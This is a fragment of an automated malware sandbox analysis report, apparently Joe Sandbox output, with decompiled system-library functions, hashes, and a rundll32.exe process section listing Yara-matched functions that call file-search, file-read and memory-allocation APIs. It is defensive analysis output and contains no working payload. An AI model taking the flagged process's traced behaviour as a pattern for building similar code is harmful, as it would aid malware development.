				return 0xc000000d;
			}

0x00e5d38a
0x00e5d39b
0x00e5d3b1
0x00000000
0x00e5d3b6
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: e6973576b8d213ba052e00b1e3d81eae0577d51887391b55374dbadd1357bbc3
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 25E0C231288208BBEB325E44CC01FA97B16DB50BA1F204431FE086B691C6759C91EAE5

Uniqueness

Uniqueness Score: -1.00%

Function 00DDA185 Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DDA185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0xe967e4 >= 0xa) {
					if(_t5 < 0xe96800 || _t5 >= 0xe96900) {
						return L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E00DC0010(0xe967e0, _t5);
				}
			}

0x00dda190
0x00dda1a6
0x00dda1c2
0x00000000
0x00000000
0x00000000
0x00dda192
0x00dda192
0x00dda19f
0x00dda19f

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98add3307cb6c817d07bdd7ed462634e6eb19e1ef05dab3d72f5caa09cdccee
Instruction ID: eaef971eeba7fbe7abedc18c824a82c8901a28fcb449d960f07862041abf4a97
Opcode Fuzzy Hash: b98add3307cb6c817d07bdd7ed462634e6eb19e1ef05dab3d72f5caa09cdccee
Instruction Fuzzy Hash: 74D02EB21201005BCF2E274C8C1AF212292E7C0740F30882FF1071BAB0DA6088D4A13A

Uniqueness

Uniqueness Score: -1.00%

Function 00E253CA Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00E253CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E00DBEB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x00e253ca
0x00e253ce
0x00e253d9
0x00e253de
0x00e253e1
0x00e253e1
0x00e253e6
0x00e253f3
0x00000000
0x00e253f8
0x00e253fb

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: a9cee461aa8711420bc86478f0e8d618be645af10b40b662071a165595f55266
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 52E0EC72944A849BCF12EB59C654F9EB7F5FB44B40F151458B4096B661C674AD00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DBAAB0 Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DBAAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x00dbaab6
0x00dbaabb
0x00e0a442
0x00000000
0x00e0a448
0x00e0a454
0x00e0a454
0x00dbaac1
0x00dbaac1
0x00dbaac6
0x00dbaac6

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 0becb1aa72092bf4d9ffadc474ae4f0503d5203e227b67d1ae201fedbae5f861
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 22D0E939352A80CFD616CB1DC954B5577A4BB44B44FC904A0E501CB761E66CDD84CA11

Uniqueness

Uniqueness Score: -1.00%

Function 00DADB40 Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DADB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L00DC4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x00dadb4d
0x00dadb54
0x00dadb5f
0x00dadb56
0x00dadb56
0x00dadb5c
0x00dadb5c

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: ce0882912b481aa4f857c79b028a3e34e45c3ffba2ec8ccb8df4472fb69ef971
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 90C08C302C0A01AAEB321F20CD02F4036B1BB12F01F4900A07302DA4F0DB78DC01E630

Uniqueness

Uniqueness Score: -1.00%

Function 00DC3A1C Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DC3A1C(intOrPtr _a4) {
				void* _t5;

				return L00DC4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x00dc3a35

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: c68cbf53711cec7bad383fac1d86035b3412776c1b55afe3139308351fe7de35
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 31C08C32080248BBC7226F41DC01F017B29E790B60F000020B6040B5618532EC60D5A8

Uniqueness

Uniqueness Score: -1.00%

Function 00DD2ACB Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DD2ACB() {
				void* _t5;

				return E00DBEB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x00dd2adc

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 25ea81f9c74d583cda49bfe6420d05fc4ac93422cdb67ef4aa08be05a61c1abc
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 95B01232C10450CFCF02EF40C610B997331FB00750F054490A00327931C228AC01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DE98A0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b769a299c69eebf7febdc1ed2dbb15cad06b6f4354bcc61e3b42c543053eaa7b
Instruction ID: be82d4252cd1f96849016e30d9cd8a8498b257de6254d718cdbaad3fd4cc2bb5
Opcode Fuzzy Hash: b769a299c69eebf7febdc1ed2dbb15cad06b6f4354bcc61e3b42c543053eaa7b
Instruction Fuzzy Hash: 6190026130100806D20262594414616100BD7D5385F93C022E2414565D86658993F172

Uniqueness

Uniqueness Score: -1.00%

Function 00DEB040 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 431283b596e75d8ea6e785108ea8b05a981c02eecf3a99a28043010193fce613
Instruction ID: db9db49a768bca41023bb2aceb8538d1ff114a65d71f7d61d087038960ca3642
Opcode Fuzzy Hash: 431283b596e75d8ea6e785108ea8b05a981c02eecf3a99a28043010193fce613
Instruction Fuzzy Hash: E79002A1601144474640B25948044166017A7E5341393C131A1444570C86A88895F2B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9820 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5bdc3485c73a62e2fe8e634f9086f5a5f69059782c95b19bce8d7200f130f03
Instruction ID: a2e2835515827cc88f187ec5a422980d097c9d27381a733dd150c847b802a95d
Opcode Fuzzy Hash: b5bdc3485c73a62e2fe8e634f9086f5a5f69059782c95b19bce8d7200f130f03
Instruction Fuzzy Hash: B190027124100806D24172594404616100BA7D4381F93C022A1414564E86958A96FAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE99D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160e38950875bb83a1c7dce99cf336bd600e79e755fcafd6178b6d13e8d12806
Instruction ID: b185507c144e15428c3e34a4a5f49a9aa7471bd4abe2aee1ad9736f088378111
Opcode Fuzzy Hash: 160e38950875bb83a1c7dce99cf336bd600e79e755fcafd6178b6d13e8d12806
Instruction Fuzzy Hash: B59002A121100446D20462594404716104797E5341F53C022A3144564CC5698CA1B175

Uniqueness

Uniqueness Score: -1.00%

Function 00DE95F0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8682b6c4553eeb6a137e112505648f91d8c42ad17ba11e8b58674d7f3d0b220b
Instruction ID: ac1c0f577b972c19ac57516ce8f7ea12c9b2e449c172ea745348c56f34615048
Opcode Fuzzy Hash: 8682b6c4553eeb6a137e112505648f91d8c42ad17ba11e8b58674d7f3d0b220b
Instruction Fuzzy Hash: C190027120100C06D20462594804696100797D4341F53C021A7014665E96A588D1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9950 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf2f64529cc3acee98ebba6d021784b35698065a141a8fb0159be642747f08f
Instruction ID: dc7c8a248e8d23abd258e1405ab5a5ba0125a73cdfc371b112b58985e19bfbb0
Opcode Fuzzy Hash: acf2f64529cc3acee98ebba6d021784b35698065a141a8fb0159be642747f08f
Instruction Fuzzy Hash: 369002A120140807D24066594804617100797D4342F53C021A3054565E8A698C91B175

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9A80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df64965ebcedea03bd0f4c3115bcda364efb2ab56a5df5b4f1d374cb06c1e821
Instruction ID: f12b4d5d2452959d9021c2250125e704e216d0ad03c77f867561666a356477eb
Opcode Fuzzy Hash: df64965ebcedea03bd0f4c3115bcda364efb2ab56a5df5b4f1d374cb06c1e821
Instruction Fuzzy Hash: 3990026120144846D24063594804B1F510797E5342F93C029A5146564CC9558895B771

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9A10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730ebb418336d81049b8e65c74e7385a4ef9baabe83f44331bf001e6c0362a7f
Instruction ID: 0144588a139ee680eb910344cef4cd0108d89f38fa791ede3fef2c1589293465
Opcode Fuzzy Hash: 730ebb418336d81049b8e65c74e7385a4ef9baabe83f44331bf001e6c0362a7f
Instruction Fuzzy Hash: AF90027120140806D20062594808757100797D4342F53C021A6154565E86A5C8D1B571

Uniqueness

Uniqueness Score: -1.00%

Function 00DEA3B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e61ef281c1df9c355b19295dff697c5068e3a61b06123e6f9455785f03623b
Instruction ID: c1fdefd63f087c1db10b0388dff9ab918dbbf0abb4810782c5126405edf3fcd1
Opcode Fuzzy Hash: 56e61ef281c1df9c355b19295dff697c5068e3a61b06123e6f9455785f03623b
Instruction Fuzzy Hash: 1890027120144406D2407259844461B6007A7E4341F53C421E1415564C86558896F271

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9B00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b39f3a707dd19122c585a43148337c5418497ab089e869878394cfd79327a4d7
Instruction ID: 6ca70a1b19f64fa2393fb04d07d78cd3723ae93cfbae16734987c5d60f160b47
Opcode Fuzzy Hash: b39f3a707dd19122c585a43148337c5418497ab089e869878394cfd79327a4d7
Instruction Fuzzy Hash: FC90026124100C06D240725984147171007D7D4741F53C021A1014564D865689A5B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00E3FDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00E3FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = L00DECE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				L00E35720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return L00E35720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00e3fdda
0x00e3fde2
0x00e3fde5
0x00e3fdec
0x00e3fdfa
0x00e3fdff
0x00e3fe0a
0x00e3fe0f
0x00e3fe17
0x00e3fe1e
0x00e3fe19
0x00e3fe19
0x00e3fe19
0x00e3fe20
0x00e3fe21
0x00e3fe22
0x00e3fe25
0x00e3fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E3FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00E3FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00E3FE2B

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 93ceeb3033a914136161138552eb50b13f30c2b41e7470a50e7eca4697aee848
Instruction ID: 76642f7602c91fcca3255bfc0a60d29bb5d583b7cdac190ff19a40e48297d5dd
Opcode Fuzzy Hash: 93ceeb3033a914136161138552eb50b13f30c2b41e7470a50e7eca4697aee848
Instruction Fuzzy Hash: 66F0F632640601BFDB202A46DC06F33BFAAEB44730F240315F628661E1DAA2F820D6F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 6204, Parent PID: 684COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	1.3%
Signature Coverage:	1.1%
Total number of Nodes:	1204
Total number of Limit Nodes:	140

Executed Functions

Function 00411659 Relevance: 4.6, APIs: 3, Instructions: 113fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000), ref: 0041172F
FindNextFileW.KERNELBASE(?,00000010), ref: 0041176E
FindClose.KERNEL32(?), ref: 00411779

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 23b854fdaf317f099d56a76f07ec6f0f71d2f99d510133e67fb6b4594caa6fac
Instruction ID: f099efbb8171e7f41a2c5aecc2467f12eb3761d7f31222f3d2a33dd3ce461a1b
Opcode Fuzzy Hash: 23b854fdaf317f099d56a76f07ec6f0f71d2f99d510133e67fb6b4594caa6fac
Instruction Fuzzy Hash: 4031E5719003496BDB20DF64CC85FEB777CAF84708F04418EFA09A7291E7B4AA848B94

Uniqueness

Uniqueness Score: -1.00%

Function 00411660 Relevance: 4.6, APIs: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000), ref: 0041172F
FindNextFileW.KERNELBASE(?,00000010), ref: 0041176E
FindClose.KERNEL32(?), ref: 00411779

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: a0aca2ecae7726c6d3429c14fbb80418b199267e4db19c9ad30950dee08ce284
Instruction ID: c0ae229b5d286b8b71357315600567871c255450994af220f88b634a33c00afe
Opcode Fuzzy Hash: a0aca2ecae7726c6d3429c14fbb80418b199267e4db19c9ad30950dee08ce284
Instruction Fuzzy Hash: DB31D475900308BBDB20DF64CC85FEB777CAF88704F10418DB609A62D0E7B4AAC48BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A31A Relevance: 1.5, APIs: 1, Instructions: 42filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,00415807,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,00415807,00000000,00000005,00000060,00000000,00000000), ref: 0041A36D

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 066fabcb4b525542bb31c480c77914bf50742e1fbb3da9b3b4fc98d3516b0f4c
Instruction ID: d5ff102e806800623d43a1ea12d823be7a1a05b10b5216741c568ab04bcc1b5b
Opcode Fuzzy Hash: 066fabcb4b525542bb31c480c77914bf50742e1fbb3da9b3b4fc98d3516b0f4c
Instruction Fuzzy Hash: 9701B2B6201108AFCB08CF88DD85EEB37AEAF8C754F158248BA0997240C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A320 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,00415807,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,00415807,00000000,00000005,00000060,00000000,00000000), ref: 0041A36D

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction ID: a2aaebe10041835da89b7de23d426bb534e4eab43eabe5d401869e8ba4a1940d
Opcode Fuzzy Hash: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction Fuzzy Hash: FEF06DB6215208AFCB48DF89DC85EEB77ADAF8C754F118248BA0997251D630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3CA Relevance: 1.5, APIs: 1, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(004159C2,5DA515B3,FFFFFFFF,00415681,00000206,?,004159C2,00000206,00415681,FFFFFFFF,5DA515B3,004159C2,00000206,00000000), ref: 0041A415

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: bcd9091e8713dc9fd90b3642b36f98048316038c20b911a688e5c9fd5b5d3e31
Instruction ID: 36467b1f1e3582164c5f5fbea357079ed6b6f681fc71d30ed876c141f375fc79
Opcode Fuzzy Hash: bcd9091e8713dc9fd90b3642b36f98048316038c20b911a688e5c9fd5b5d3e31
Instruction Fuzzy Hash: 88F0F9B6200109AFCB14CF99DC84DDB77ADEF8C364F158248FA5DA7251C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3D0 Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(004159C2,5DA515B3,FFFFFFFF,00415681,00000206,?,004159C2,00000206,00415681,FFFFFFFF,5DA515B3,004159C2,00000206,00000000), ref: 0041A415

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction ID: 779a587cf63d30236cb0bbdb99b63125838c179a486f17d262a5a2bfd3bb36b4
Opcode Fuzzy Hash: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction Fuzzy Hash: 15F0A4B6200208ABCB14DF99DC85EEB77ADAF8C754F118249BA0D97251D630E811CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4FA Relevance: 1.5, APIs: 1, Instructions: 33memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00402D11,00002000,00003000,00000004), ref: 0041A539

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fc91faa74b848b274f5554cdafefdde571d40d2b2fc32d13ed3fd534b5c19556
Instruction ID: d9de17b6c36606e62d80301644a4f3d56ac81c98a8603cbc130b8699c2df216d
Opcode Fuzzy Hash: fc91faa74b848b274f5554cdafefdde571d40d2b2fc32d13ed3fd534b5c19556
Instruction Fuzzy Hash: A3F05EB12001086BDB14CFA9DC91EDB37A9AF88364F118248BD1C97291C531E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A500 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00402D11,00002000,00003000,00000004), ref: 0041A539

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction ID: 44bf95e658cca290f27d383d2d8ad6e73610bd7c98e0f9e069b1e3542d92265d
Opcode Fuzzy Hash: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction Fuzzy Hash: 6CF015B6210208ABDB14DF89DC81EEB77ADAF8C754F018109BE0897241C630F811CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A450 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(004159A0,00000206,?,004159A0,00000005,FFFFFFFF), ref: 0041A475

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction ID: 89d28a435c4e5e12339fbd4884c2b6668c99de876a0decdf7d51bdf93669a9a3
Opcode Fuzzy Hash: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction Fuzzy Hash: 9ED01776200214ABD620EB99DC89ED77BACDF48664F018055BA485B242C530FA1086E1

Uniqueness

Uniqueness Score: -1.00%

Function 04399860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439986A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
